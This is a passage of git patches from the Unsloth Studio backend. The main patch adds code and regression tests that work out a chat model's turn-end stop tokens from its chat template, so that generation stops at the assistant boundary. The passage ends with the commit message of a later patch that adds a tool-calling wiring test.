Llama-3 / Qwen3 (unchanged), and a harmony template (left untouched).

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: refresh turn-end eos after the mapper installs its template

For a MODEL_TO_TEMPLATE_MAPPER model whose own tokenizer ships no
chat_template, the effective template is applied at generate time via
get_chat_template, but the turn-end eos ids were resolved once at load when
the template was still empty, so only the document eos was cached. Qwen2.5 /
Yi base checkpoints (eos <|endoftext|>, ChatML turns end with <|im_end|>)
then run past the assistant boundary in generate_stream and loop.

Re-resolve the turn-end eos from the now-templated tokenizer and refresh the
cached ids right after applying the mapper template, so generate_stream stops
at the ChatML turn end. Add a regression test.

* Studio: union turn-end eos refresh into load-time cache instead of overwriting

get_chat_template can return a different tokenizer whose vocab was remapped
(Gemma folds <end_of_turn> onto the eos id), while generate_stream re-reads the
original model_info tokenizer. Overwriting the cache with the refreshed set
dropped a valid load-time id (e.g. <end_of_turn>=107) and let generation run
past the real turn marker. Union the refresh into the existing cache so it can
only add ids, never drop a valid one. Add a regression test covering the
destructive-swap case the prior test missed.

* Studio: resolve refreshed turn-end ids on the generation tokenizer, add Gemma-4 marker

Two residual gaps in the turn-end eos refresh:

- For map_eos_token=True mapped templates (e.g. chatml on a Yi-6B base), get_chat_template
  returns a tokenizer whose vocab folds the turn-end token onto the document eos id, while
  generate_stream re-reads the original tokenizer. The refresh resolved ids on the returned
  tokenizer, so it stored the doc eos and missed the real turn-end id, and generation ran
  past the boundary. Read the turn-end marker strings from the mapped template but resolve
  their ids on the original generation tokenizer (new resolve_chat_turn_end_eos_ids_using).

- Add Gemma-4's <turn|> turn terminator to the marker allowlist; those templates keep a
  document eos so resolve otherwise missed the real turn marker.

Add regression tests for both.

* Fix turn-end detection for Starling, multi-variant and vision templates; keep tests collectable

The turn-end marker set missed OpenChat/Starling's barred <|end_of_turn|>
(distinct from Gemma's unbarred form), so Starling generations ran past
the assistant boundary. A dict/list chat_template (Hermes-3 style
default+tool_use variants) hit an early non-string return and skipped
detection; flatten and scan every variant. Vision models carry the
chat_template on the ProcessorMixin, not the unwrapped inner tokenizer,
so read markers from the template-carrying container while resolving ids
on the generation tokenizer.

The refresh test constructs the real backend, so it is guarded with a
module-level skip when unsloth/unsloth_zoo is absent (the lightweight
pytest matrix), and core.inference package init is made lazy so the
dependency-light chat_eos tests collect without the heavy stack.

* Studio: tighten chat turn-end eos comments

* Studio: condense chat turn-end eos comments

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
---
 studio/backend/core/inference/__init__.py     |  43 +++-
 studio/backend/core/inference/chat_eos.py     | 109 ++++++++++
 studio/backend/core/inference/inference.py    |  68 +++++-
 .../tests/test_chat_eos_template_refresh.py   | 194 ++++++++++++++++++
 .../backend/tests/test_chat_turn_end_eos.py   | 150 ++++++++++++++
 5 files changed, 558 insertions(+), 6 deletions(-)
 create mode 100644 studio/backend/core/inference/chat_eos.py
 create mode 100644 studio/backend/tests/test_chat_eos_template_refresh.py
 create mode 100644 studio/backend/tests/test_chat_turn_end_eos.py

diff --git a/studio/backend/core/inference/__init__.py b/studio/backend/core/inference/__init__.py
index 2faf70bb79..ad78157418 100644
--- a/studio/backend/core/inference/__init__.py
+++ b/studio/backend/core/inference/__init__.py
@@ -7,13 +7,16 @@ Inference submodule - backend for model loading and generation.
 The default get_inference_backend() returns an InferenceOrchestrator that
 delegates to a subprocess. The original InferenceBackend runs inside the
 subprocess and can be imported directly from .inference when needed.
+
+Public names are resolved lazily (PEP 562): importing this package -- or a
+dependency-light leaf like ``core.inference.chat_eos`` -- must NOT eagerly pull
+the orchestrator / llama_cpp import chain (httpx, subprocess plumbing, the ML
+backend and its Studio dependencies). Those load only when a public name is
+actually accessed, so standalone helpers stay unit-testable without the full
+inference stack.
 """
 
-from .orchestrator import InferenceOrchestrator, get_inference_backend
-from .llama_cpp import LlamaCppBackend
-
-# Expose InferenceOrchestrator as InferenceBackend for backward compat.
-InferenceBackend = InferenceOrchestrator
+from typing import TYPE_CHECKING
 
 __all__ = [
     "InferenceBackend",
@@ -21,3 +24,33 @@ __all__ = [
     "get_inference_backend",
     "LlamaCppBackend",
 ]
+
+# name -> (submodule, attribute); InferenceBackend aliases InferenceOrchestrator.
+_LAZY_ATTRS = {
+    "InferenceOrchestrator": ("orchestrator", "InferenceOrchestrator"),
+    "InferenceBackend": ("orchestrator", "InferenceOrchestrator"),
+    "get_inference_backend": ("orchestrator", "get_inference_backend"),
+    "LlamaCppBackend": ("llama_cpp", "LlamaCppBackend"),
+}
+
+
+def __getattr__(name):
+    try:
+        submodule, attr = _LAZY_ATTRS[name]
+    except KeyError:
+        raise AttributeError(f"module {__name__!r} has no attribute {name!r}") from None
+    from importlib import import_module
+
+    value = getattr(import_module(f"{__name__}.{submodule}"), attr)
+    globals()[name] = value  # cache so later access skips __getattr__
+    return value
+
+
+def __dir__():
+    return sorted(set(globals()) | set(__all__))
+
+
+if TYPE_CHECKING:  # keep static analysers / IDEs aware of the lazy names
+    from .llama_cpp import LlamaCppBackend
+    from .orchestrator import InferenceOrchestrator, get_inference_backend
+    InferenceBackend = InferenceOrchestrator
diff --git a/studio/backend/core/inference/chat_eos.py b/studio/backend/core/inference/chat_eos.py
new file mode 100644
index 0000000000..2a5d0db228
--- /dev/null
+++ b/studio/backend/core/inference/chat_eos.py
@@ -0,0 +1,109 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Resolve a chat model's assistant-turn-end stop tokens.
+
+Some checkpoints set eos_token_id to a bare document terminator (Qwen3.5 ships
+config eos ``<|endoftext|>`` though chat turns end with ``<|im_end|>``, and its
+small chat variants ship no generation_config), so generation runs past the turn
+and loops -- re-emitting tool calls or hallucinating ``<|im_start|>`` turns.
+
+Turn-end markers are derived from the tokenizer's ``chat_template`` (the tokens it
+actually uses to end a turn), not raw vocab membership: a base/coder model can
+carry ChatML control tokens in a shared vocab without using them, and a loader
+may have synced ``eos_token`` to the document terminator. Dependency-light (no
+torch / unsloth) so it is unit-testable without the full inference stack.
+"""
+
+from typing import Optional
+
+# Canonical assistant-turn-end markers per chat family.
+_CHAT_TURN_END_TOKENS = (
+    "<|im_end|>",  # ChatML: Qwen, Yi
+    "<|eot_id|>",  # Llama 3.x
+    "<|eom_id|>",  # Llama 3.x tool turns
+    "<end_of_turn>",  # Gemma
+    "<turn|>",  # Gemma-4
+    "<|end|>",  # Phi
+    "<|end_of_turn|>",  # OpenChat / Starling (barred, distinct from Gemma's)
+)
+# harmony/gpt-oss uses <|end|> as a channel delimiter, not the turn end, and has
+# its own streamer, so its eos is left untouched.
+_HARMONY_MARKERS = ("<|channel|>", "<|constrain|>")
+
+
+def _eos_id_set(eos_token_id) -> set:
+    if isinstance(eos_token_id, (list, tuple)):
+        return {int(t) for t in eos_token_id if t is not None}
+    if eos_token_id is not None:
+        return {int(eos_token_id)}
+    return set()
+
+
+def _collect_template_text(chat_template) -> str:
+    """Flatten a tokenizer ``chat_template`` into one scannable string.
+
+    Usually the template is a single jinja string, but multi-variant models
+    (e.g. Hermes-3: a ``default`` plus a ``tool_use`` template) expose it as a
+    ``{name: template}`` dict -- or, as stored in tokenizer_config.json, a list
+    of ``{"name": ..., "template": ...}`` dicts. Scanning only the ``str`` case
+    would skip turn-end detection for those valid models, so gather every string
+    leaf (variant names are harmless: they never contain the markers).
+    """
+    if isinstance(chat_template, str):
+        return chat_template
+    if isinstance(chat_template, dict):
+        values = chat_template.values()
+    elif isinstance(chat_template, (list, tuple)):
+        values = chat_template
+    else:
+        return ""
+    parts = [_collect_template_text(v) for v in values]
+    return "\n".join(p for p in parts if p)
+
+
+def resolve_chat_turn_end_eos_ids_using(template_tokenizer, id_tokenizer) -> list:
+    """eos of ``id_tokenizer`` plus any canonical turn-end marker the
+    ``template_tokenizer``'s chat_template uses, resolved to ids on ``id_tokenizer`` --
+    the tokenizer generation actually uses.
+
+    Pass the same tokenizer for both at load time. After a mapped ``get_chat_template``
+    pass the MAPPED tokenizer as ``template_tokenizer`` (it carries the effective
+    template) and the ORIGINAL generation tokenizer as ``id_tokenizer``: a mapped
+    template registered ``map_eos_token=True`` can hand back a tokenizer whose vocab
+    folds the turn-end token onto the doc-eos id, and generate_stream re-reads the
+    original tokenizer, so resolving ids on the mapped tokenizer would store the wrong
+    (doc-eos) id and let generation run past the real turn marker."""
+    ids = _eos_id_set(getattr(id_tokenizer, "eos_token_id", None))
+    template = _collect_template_text(getattr(template_tokenizer, "chat_template", None))
+    if not template or any(h in template for h in _HARMONY_MARKERS):
+        return sorted(ids)
+    unk = getattr(id_tokenizer, "unk_token_id", None)
+    for marker in _CHAT_TURN_END_TOKENS:
+        if marker in template:
+            try:
+                tid = id_tokenizer.convert_tokens_to_ids(marker)
+            except Exception:
+                tid = None
+            if tid is not None and tid != unk and int(tid) >= 0:
+                ids.add(int(tid))
+    return sorted(ids)
+
+
+def resolve_chat_turn_end_eos_ids(tokenizer) -> list:
+    """tokenizer.eos plus any canonical turn-end marker the model's chat_template
+    actually uses. Cheap (convert_tokens_to_ids per marker, no get_vocab); intended
+    to be resolved once at load. Returns eos unchanged for harmony templates."""
+    return resolve_chat_turn_end_eos_ids_using(tokenizer, tokenizer)
+
+
+def chat_eos_repair(current_eos, turn_end_ids) -> Optional[list]:
+    """Merged eos_token_id list, or None if ``current_eos`` already covers every
+    resolved turn-end id. Used to repair a model's generation_config at load so
+    every ``.generate()`` path (vision, tool loops) stops at the turn boundary."""
+    if not turn_end_ids:
+        return None
+    current_set = _eos_id_set(current_eos)
+    if set(turn_end_ids) <= current_set:
+        return None
+    return sorted(current_set | set(turn_end_ids))
diff --git a/studio/backend/core/inference/inference.py b/studio/backend/core/inference/inference.py
index 4dca4db768..eaee5a213a 100644
--- a/studio/backend/core/inference/inference.py
+++ b/studio/backend/core/inference/inference.py
@@ -27,6 +27,10 @@ from utils.hardware import (
 from core.inference.audio_codecs import AudioCodecManager
 from core.inference.runtime_context import runtime_context_length
 from core.inference.message_content import content_to_text
+from core.inference.chat_eos import (
+    chat_eos_repair,
+    resolve_chat_turn_end_eos_ids_using,
+)
 from io import StringIO
 import structlog
 from loggers import get_logger
@@ -210,6 +214,50 @@ class InferenceBackend:
         # API uses -1 to disable top-k; transformers uses 0.
         return 0 if top_k < 0 else top_k
 
+    def _resolve_chat_eos(self, model_name: str) -> None:
+        """Resolve this chat model's assistant-turn-end stop tokens once at load,
+        cache them in model_info, and repair generation_config so every
+        ``.generate()`` path stops at the turn boundary.
+
+        Some checkpoints (e.g. Qwen3.5 / Qwen3.6 small chat models) end turns with
+        ``<|im_end|>`` but ship ``config.eos_token_id = <|endoftext|>`` and no
+        ``generation_config.json``, so paths that read ``generation_config`` (the
+        vision path, tool loops) run past the turn and loop. Turn-end markers are
+        derived from the chat_template (see chat_eos.resolve_chat_turn_end_eos_ids),
+        so base/coder models and harmony templates are left untouched.
+        """
+        info = self.models.get(model_name) or {}
+        model = info.get("model")
+        container = info.get("tokenizer")
+        tokenizer = getattr(container, "tokenizer", container)  # unwrap processors
+        if model is None or tokenizer is None:
+            return
+        # Vision models carry the chat_template on the processor, not the inner
+        # tokenizer. Read markers from whichever has one, but resolve ids on the
+        # generation tokenizer, else the vision path misses the turn-end token.
+        template_source = container if getattr(container, "chat_template", None) else tokenizer
+        try:
+            turn_end_ids = resolve_chat_turn_end_eos_ids_using(template_source, tokenizer)
+        except Exception as e:  # never block a load on eos resolution
+            logger.warning("Chat turn-end eos resolution failed for %s: %s", model_name, e)
+            return
+        info["chat_turn_end_eos_ids"] = turn_end_ids
+
+        gen = getattr(model, "generation_config", None)
+        if gen is None:
+            return
+        repaired = chat_eos_repair(gen.eos_token_id, turn_end_ids)
+        if repaired is None:
+            return
+        previous = gen.eos_token_id
+        gen.eos_token_id = repaired
+        logger.info(
+            "Repaired generation_config.eos_token_id for %s: %s -> %s",
+            model_name,
+            previous,
+            repaired,
+        )
+
     def load_model(
         self,
         config: ModelConfig,
@@ -496,6 +544,7 @@ class InferenceBackend:
                 max_seq_length,
             )
 
+            self._resolve_chat_eos(model_name)
             self._load_chat_template_info(model_name)
 
             self.active_model_name = model_name
@@ -946,6 +995,22 @@ class InferenceBackend:
                     tokenizer,
                     chat_template = template_name,
                 )
+                # The mapper installs the effective template only now, at generate
+                # time, so re-resolve and UNION into the load-time cache (never
+                # overwrite). get_chat_template can return a remapped tokenizer
+                # (turn-end folded onto doc-eos) while generate_stream reads the
+                # original, so take marker strings from the mapped template but
+                # resolve their ids on the original.
+                try:
+                    _gen_tok = model_info.get("tokenizer") or tokenizer
+                    refreshed = resolve_chat_turn_end_eos_ids_using(
+                        getattr(tokenizer, "tokenizer", tokenizer),
+                        getattr(_gen_tok, "tokenizer", _gen_tok),
+                    )
+                    existing = model_info.get("chat_turn_end_eos_ids") or []
+                    model_info["chat_turn_end_eos_ids"] = sorted(set(existing) | set(refreshed))
+                except Exception as e:
+                    logger.warning(f"Could not refresh chat turn-end eos after template: {e}")
             else:
                 logger.info(
                     f"No registered Unsloth template for {self.active_model_name}, using tokenizer default"
@@ -1382,7 +1447,8 @@ class InferenceBackend:
                 min_p = min_p,
                 repetition_penalty = repetition_penalty,
                 do_sample = temperature > 0,
-                eos_token_id = tokenizer.eos_token_id,
+                # Resolved once at load (chat_template-derived turn-end tokens).
+                eos_token_id = model_info.get("chat_turn_end_eos_ids") or tokenizer.eos_token_id,
                 pad_token_id = tokenizer.eos_token_id
                 if tokenizer.pad_token_id is None
                 else tokenizer.pad_token_id,
diff --git a/studio/backend/tests/test_chat_eos_template_refresh.py b/studio/backend/tests/test_chat_eos_template_refresh.py
new file mode 100644
index 0000000000..75d0117015
--- /dev/null
+++ b/studio/backend/tests/test_chat_eos_template_refresh.py
@@ -0,0 +1,194 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Mapper models whose own tokenizer ships no chat_template have their turn-end
+eos resolved at LOAD from an empty template (document eos only). The effective
+template is installed later, at generate time, via get_chat_template, so the
+turn-end-eos cache must be refreshed then; otherwise generate_stream runs past
+the ChatML <|im_end|> boundary and loops (the exact bug this PR fixes).
+"""
+
+import sys
+from pathlib import Path
+
+import pytest
+
+_BACKEND = Path(__file__).resolve().parent.parent
+if str(_BACKEND) not in sys.path:
+    sys.path.insert(0, str(_BACKEND))
+
+# These tests construct InferenceBackend, pulling the full stack. CI may lack
+# unsloth/unsloth_zoo (ImportError) or have a broken CUDA/bitsandbytes setup
+# (RuntimeError); skip at module level so collection is not aborted (exit 2).
+try:
+    from core.inference import inference as inf_mod  # noqa: E402
+    from core.inference.inference import InferenceBackend  # noqa: E402
+except (ImportError, RuntimeError) as exc:  # pragma: no cover - env-dependent
+    pytest.skip(
+        f"full inference backend unavailable ({type(exc).__name__}: {exc})",
+        allow_module_level = True,
+    )
+
+_CHATML = "{% for m in messages %}<|im_start|>{{m.role}}\n{{m.content}}<|im_end|>{% endfor %}"
+_GEMMA = "{% for m in messages %}<start_of_turn>{{m.role}}\n{{m.content}}<end_of_turn>{% endfor %}"
+
+
+class _FakeTokenizer:
+    def __init__(
+        self,
+        eos_id,
+        chat_template = "",
+        token_ids = None,
+    ):
+        self.eos_token_id = eos_id
+        self.chat_template = chat_template
+        self.pad_token_id = eos_id
+        self.unk_token_id = None
+        self._ids = dict(token_ids or {})
+
+    def convert_tokens_to_ids(self, tok):
+        return self._ids.get(tok)
+
+
+def test_turn_end_eos_refreshed_after_generate_time_template(monkeypatch):
+    import utils.datasets as ds
+
+    backend = InferenceBackend.__new__(InferenceBackend)
+    backend.active_model_name = "unsloth/qwen2.5-0.5b"
+
+    # No chat_template at load, so the cache stored only the document eos, though
+    # <|im_end|> is atomic in the vocab (unused until the mapper installs a template).
+    bare_tok = _FakeTokenizer(151643, chat_template = "", token_ids = {"<|im_end|>": 151645})
+    model_info = {
+        "tokenizer": bare_tok,
+        "is_vision": False,
+        "chat_turn_end_eos_ids": [151643],
+    }
+    backend.models = {backend.active_model_name: model_info}
+
+    # The mapper installs a ChatML template (turns end with <|im_end|>) at generate time.
+    templated_tok = _FakeTokenizer(151643, chat_template = _CHATML, token_ids = {"<|im_end|>": 151645})
+    monkeypatch.setattr(inf_mod, "get_chat_template", lambda tok, chat_template = None: templated_tok)
+    monkeypatch.setattr(
+        ds, "MODEL_TO_TEMPLATE_MAPPER", {backend.active_model_name: "qwen-2.5"}, raising = False
+    )
+
+    # Stub the tail so the generator runs through the refresh without a real model.
+    monkeypatch.setattr(backend, "_normalize_top_k", lambda k: k, raising = False)
+    monkeypatch.setattr(
+        backend, "_apply_chat_template_for_generation", lambda *a, **k: "PROMPT", raising = False
+    )
+    monkeypatch.setattr(backend, "generate_stream", lambda *a, **k: iter(()), raising = False)
+
+    list(backend._generate_chat_response_inner(messages = [{"role": "user", "content": "hi"}]))
+
+    # After the template is applied the cache must include the ChatML turn-end id.
+    assert model_info["chat_turn_end_eos_ids"] == [151643, 151645]
+
+
+def test_turn_end_eos_refresh_preserves_load_time_ids_on_destructive_swap(monkeypatch):
+    # Regression: get_chat_template can return a remapped tokenizer (Gemma: <end_of_turn>
+    # folded onto the eos id) while generate_stream re-reads the original. Resolving on
+    # the swap yields a narrower set, so the refresh must UNION, never overwrite.
+    import utils.datasets as ds
+
+    backend = InferenceBackend.__new__(InferenceBackend)
+    backend.active_model_name = "unsloth/gemma-2b-it"
+
+    # Original tokenizer (used by generate_stream): <end_of_turn>=107 distinct from
+    # eos=1, so the load-time cache resolved to [1, 107].
+    orig_tok = _FakeTokenizer(1, chat_template = _GEMMA, token_ids = {"<end_of_turn>": 107})
+    model_info = {
+        "tokenizer": orig_tok,
+        "is_vision": False,
+        "chat_turn_end_eos_ids": [1, 107],
+    }
+    backend.models = {backend.active_model_name: model_info}
+
+    # Destructively-swapped tokenizer: <end_of_turn> now maps onto eos id 1, so
+    # resolving on it yields only [1] (drops 107).
+    swapped_tok = _FakeTokenizer(1, chat_template = _GEMMA, token_ids = {"<end_of_turn>": 1})
+    monkeypatch.setattr(inf_mod, "get_chat_template", lambda tok, chat_template = None: swapped_tok)
+    monkeypatch.setattr(
+        ds, "MODEL_TO_TEMPLATE_MAPPER", {backend.active_model_name: "gemma-3"}, raising = False
+    )
+
+    monkeypatch.setattr(backend, "_normalize_top_k", lambda k: k, raising = False)
+    monkeypatch.setattr(
+        backend, "_apply_chat_template_for_generation", lambda *a, **k: "PROMPT", raising = False
+    )
+    monkeypatch.setattr(backend, "generate_stream", lambda *a, **k: iter(()), raising = False)
+
+    list(backend._generate_chat_response_inner(messages = [{"role": "user", "content": "hi"}]))
+
+    # The load-time <end_of_turn>=107 must survive: overwriting with the swapped
+    # [1] would regress and loop past the turn.
+    assert model_info["chat_turn_end_eos_ids"] == [1, 107]
+
+
+def test_turn_end_eos_refresh_resolves_marker_id_on_original_not_remapped(monkeypatch):
+    # Yi-style map_eos_token=True: the original carries <|im_end|> at its own id, but
+    # get_chat_template folds it onto the doc-eos id. generate_stream uses the original,
+    # so read marker strings from the mapped template but ids from the original.
+    import utils.datasets as ds
+
+    backend = InferenceBackend.__new__(InferenceBackend)
+    backend.active_model_name = "01-ai/yi-6b"
+
+    # Original: no template of its own, doc eos = 2, <|im_end|> atomic = 7.
+    orig_tok = _FakeTokenizer(2, chat_template = "", token_ids = {"<|im_end|>": 7})
+    model_info = {
+        "tokenizer": orig_tok,
+        "is_vision": False,
+        "chat_turn_end_eos_ids": [2],
+    }
+    backend.models = {backend.active_model_name: model_info}
+
+    # Remapped tokenizer: ChatML template, but <|im_end|> folded onto doc-eos id 2.
+    remapped_tok = _FakeTokenizer(2, chat_template = _CHATML, token_ids = {"<|im_end|>": 2})
+    monkeypatch.setattr(inf_mod, "get_chat_template", lambda tok, chat_template = None: remapped_tok)
+    monkeypatch.setattr(
+        ds, "MODEL_TO_TEMPLATE_MAPPER", {backend.active_model_name: "chatml"}, raising = False
+    )
+
+    monkeypatch.setattr(backend, "_normalize_top_k", lambda k: k, raising = False)
+    monkeypatch.setattr(
+        backend, "_apply_chat_template_for_generation", lambda *a, **k: "PROMPT", raising = False
+    )
+    monkeypatch.setattr(backend, "generate_stream", lambda *a, **k: iter(()), raising = False)
+
+    list(backend._generate_chat_response_inner(messages = [{"role": "user", "content": "hi"}]))
+
+    # The real <|im_end|>=7 (original vocab) must be recovered, not the remapped 2.
+    assert model_info["chat_turn_end_eos_ids"] == [2, 7]
+
+
+class _FakeProcessor:
+    """A ProcessorMixin-like container: carries the chat_template itself and
+    wraps the real text tokenizer as ``.tokenizer`` (the vision layout)."""
+
+    def __init__(self, chat_template, tokenizer):
+        self.chat_template = chat_template
+        self.tokenizer = tokenizer
+
+
+def test_resolve_chat_eos_reads_vision_processor_template():
+    # Vision model: the chat_template lives on the processor while the inner tokenizer
+    # ships none. _resolve_chat_eos must read the marker from the processor but resolve
+    # its id on the inner tokenizer, and repair generation_config.
+    from types import SimpleNamespace
+
+    inner_tok = _FakeTokenizer(1, chat_template = "", token_ids = {"<end_of_turn>": 107})
+    processor = _FakeProcessor(_GEMMA, inner_tok)
+    model = SimpleNamespace(generation_config = SimpleNamespace(eos_token_id = 1))
+
+    backend = InferenceBackend.__new__(InferenceBackend)
+    backend.active_model_name = "unsloth/gemma-3-4b-it"
+    model_info = {"model": model, "tokenizer": processor, "processor": processor, "is_vision": True}
+    backend.models = {backend.active_model_name: model_info}
+
+    backend._resolve_chat_eos(backend.active_model_name)
+
+    assert model_info["chat_turn_end_eos_ids"] == [1, 107]
+    # generation_config repaired so the vision .generate() path stops at the turn.
+    assert model.generation_config.eos_token_id == [1, 107]
diff --git a/studio/backend/tests/test_chat_turn_end_eos.py b/studio/backend/tests/test_chat_turn_end_eos.py
new file mode 100644
index 0000000000..c49e39f8fe
--- /dev/null
+++ b/studio/backend/tests/test_chat_turn_end_eos.py
@@ -0,0 +1,150 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""chat_eos: resolve assistant-turn-end stop tokens from the chat_template and
+repair generation_config so a chat model whose eos is a bare document terminator
+(Qwen3.5: config eos <|endoftext|>, turns end with <|im_end|>) stops at the turn
+boundary instead of running past it and looping. Dependency-light: imported here
+without the full inference stack.
+"""
+
+from __future__ import annotations
+
+import sys
+from pathlib import Path
+
+_BACKEND = Path(__file__).resolve().parent.parent
+if str(_BACKEND) not in sys.path:
+    sys.path.insert(0, str(_BACKEND))
+
+from core.inference.chat_eos import (  # noqa: E402
+    chat_eos_repair,
+    resolve_chat_turn_end_eos_ids,
+    resolve_chat_turn_end_eos_ids_using,
+)
+
+
+class _FakeTokenizer:
+    def __init__(
+        self,
+        eos_id,
+        chat_template = "",
+        token_ids = None,
+        unk_token_id = None,
+    ):
+        self.eos_token_id = eos_id
+        self.chat_template = chat_template
+        self.unk_token_id = unk_token_id
+        self._ids = dict(token_ids or {})
+
+    def convert_tokens_to_ids(self, tok):
+        return self._ids.get(tok, self.unk_token_id)
+
+
+# ---- resolve_chat_turn_end_eos_ids ---------------------------------------
+
+_CHATML = "{% for m in messages %}<|im_start|>{{m.role}}\n{{m.content}}<|im_end|>{% endfor %}"
+
+
+def test_qwen35_adds_im_end_from_template():
+    # eos synced to <|endoftext|> (248044); template uses <|im_end|> (248046).
+    tok = _FakeTokenizer(248044, chat_template = _CHATML, token_ids = {"<|im_end|>": 248046})
+    assert resolve_chat_turn_end_eos_ids(tok) == [248044, 248046]
+
+
+def test_marker_in_vocab_but_not_in_template_is_ignored():
+    # Base/coder model: <|im_end|> is in the vocab but the template does not use
+    # it, so it must not become a stop token.
+    tok = _FakeTokenizer(248044, chat_template = "{{ messages }}", token_ids = {"<|im_end|>": 248046})
+    assert resolve_chat_turn_end_eos_ids(tok) == [248044]
+
+
+def test_harmony_template_is_left_untouched():
+    # gpt-oss/harmony: <|end|> is a channel delimiter, not the turn end.
+    harmony = "<|start|>assistant<|channel|>analysis<|message|>...<|end|>"
+    tok = _FakeTokenizer(200002, chat_template = harmony, token_ids = {"<|end|>": 200007})
+    assert resolve_chat_turn_end_eos_ids(tok) == [200002]
+
+
+def test_llama3_eot_id_from_template():
+    tok = _FakeTokenizer(128001, chat_template = "...<|eot_id|>...", token_ids = {"<|eot_id|>": 128009})
+    assert resolve_chat_turn_end_eos_ids(tok) == [128001, 128009]
+
+
+def test_gemma4_turn_marker_from_template():
+    # Gemma-4 ends turns with <turn|> while keeping a document eos, so <turn|> must
+    # be added as a stop token.
+    tok = _FakeTokenizer(
+        1, chat_template = "...<start_of_turn>...<turn|>...", token_ids = {"<turn|>": 106}
+    )
+    assert resolve_chat_turn_end_eos_ids(tok) == [1, 106]
+
+
+def test_resolve_using_reads_markers_from_template_but_ids_from_generation_tokenizer():
+    # map_eos_token=True: the mapped template remaps <|im_end|> onto the doc-eos id,
+    # but the original keeps it atomic. Reading marker STRINGS from the template but
+    # IDS on the original recovers the real turn-end id (7), not the doc-eos id (2).
+    template_tok = _FakeTokenizer(2, chat_template = _CHATML, token_ids = {"<|im_end|>": 2})
+    id_tok = _FakeTokenizer(2, chat_template = "", token_ids = {"<|im_end|>": 7})
+    assert resolve_chat_turn_end_eos_ids_using(template_tok, id_tok) == [2, 7]
+    # Same tokenizer for both reproduces the plain resolve (load-time behaviour).
+    assert resolve_chat_turn_end_eos_ids_using(template_tok, template_tok) == [2]
+
+
+def test_list_eos_preserved():
+    tok = _FakeTokenizer([1, 2], chat_template = _CHATML, token_ids = {"<|im_end|>": 2})
+    assert resolve_chat_turn_end_eos_ids(tok) == [1, 2]
+
+
+def test_missing_marker_maps_to_unk_and_is_skipped():
+    tok = _FakeTokenizer(7, chat_template = _CHATML, token_ids = {}, unk_token_id = 0)
+    assert resolve_chat_turn_end_eos_ids(tok) == [7]
+
+
+def test_starling_barred_end_of_turn_from_template():
+    # OpenChat/Starling end turns with the BARRED <|end_of_turn|> (distinct from
+    # Gemma's <end_of_turn>). eos synced to </s>=2, turn marker at 32000.
+    starling = "GPT4 Correct Assistant: hi<|end_of_turn|>"
+    tok = _FakeTokenizer(2, chat_template = starling, token_ids = {"<|end_of_turn|>": 32000})
+    assert resolve_chat_turn_end_eos_ids(tok) == [2, 32000]
+
+
+def test_dict_chat_template_scans_all_variants():
+    # Hermes-3 style: chat_template is a {name: template} dict. Detection must scan
+    # every variant, not bail because the container is not a plain str.
+    tmpl = {"default": "{{ messages }}", "tool_use": _CHATML}
+    tok = _FakeTokenizer(2, chat_template = tmpl, token_ids = {"<|im_end|>": 5})
+    assert resolve_chat_turn_end_eos_ids(tok) == [2, 5]
+
+
+def test_list_of_dicts_chat_template_scans_all_variants():
+    # tokenizer_config.json stores multi-templates as a list of {name, template}.
+    tmpl = [{"name": "default", "template": _CHATML}]
+    tok = _FakeTokenizer(2, chat_template = tmpl, token_ids = {"<|im_end|>": 5})
+    assert resolve_chat_turn_end_eos_ids(tok) == [2, 5]
+
+
+def test_dict_harmony_template_left_untouched():
+    # A multi-variant container whose variant is harmony must still be left alone.
+    tmpl = {"default": "<|start|>assistant<|channel|>analysis<|message|>...<|end|>"}
+    tok = _FakeTokenizer(200002, chat_template = tmpl, token_ids = {"<|end|>": 200007})
+    assert resolve_chat_turn_end_eos_ids(tok) == [200002]
+
+
+# ---- chat_eos_repair ------------------------------------------------------
+
+
+def test_repair_adds_missing_turn_end():
+    assert chat_eos_repair(248044, [248044, 248046]) == [248044, 248046]
+
+
+def test_repair_from_missing_generation_config_eos():
+    assert chat_eos_repair(None, [248046]) == [248046]
+
+
+def test_repair_noop_when_already_covered():
+    assert chat_eos_repair([248046, 248044], [248046]) is None
+
+
+def test_repair_noop_when_no_turn_end_ids():
+    assert chat_eos_repair(248044, []) is None

From e9f49c62dd078f59421be788ad56ff10ae4b8a01 Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Mon, 6 Jul 2026 10:08:39 -0700
Subject: [PATCH 214/306] studio: deterministic backend tool-calling wiring
 test (#6836)

* studio: deterministic backend tool-calling wiring test

Add a deterministic, download-free test that exercises the shared tool-calling
seam both inference backends use. InferenceBackend (transformers) and
MLXInferenceBackend both render the prompt through
apply_chat_template_for_generation(..., tools=...) and stream cumulative text
into run_safetensors_tool_loop. The existing test_safetensors_tool_loop.py
covers the parser and the loop state machine with fake generators but does not
cover the backend's own tool-injection seam, so a regression that drops the
tool schema before the tokenizer, or fails to feed a tool result back into
generation, would slip through.

The test drives that seam with fakes: a tokenizer that records the tools it is
handed, a canned tool-call generation, and a stub executor. It asserts the full
chain: tools reach the chat template, the loop parses the call, the tool is
dispatched once with the parsed arguments, the result is fed back, generation
re-enters, and the final answer streams after the tool result. It also guards
that the raw tool-call markup never leaks to the client as content.

The test imports no torch, unsloth, or mlx, so it runs in the portable Backend
CI alongside the tool-call parser tests and stays sub-second. Follow-up to the
parser test PRs #5620 and #5704.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* studio: assert the tool result is fed back before the final turn

Strengthen the wiring test so single_turn records each turn's conversation and
the test asserts the tool result message is present in the conversation handed
to the final generation turn. Event ordering alone did not catch a loop that
stops appending the tool output before re-entering generation, because the fake
generation ignores the conversation; this closes that gap.

* studio: tighten comments in tool-calling wiring test

* studio: shorten comments in tool-calling wiring test

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
---
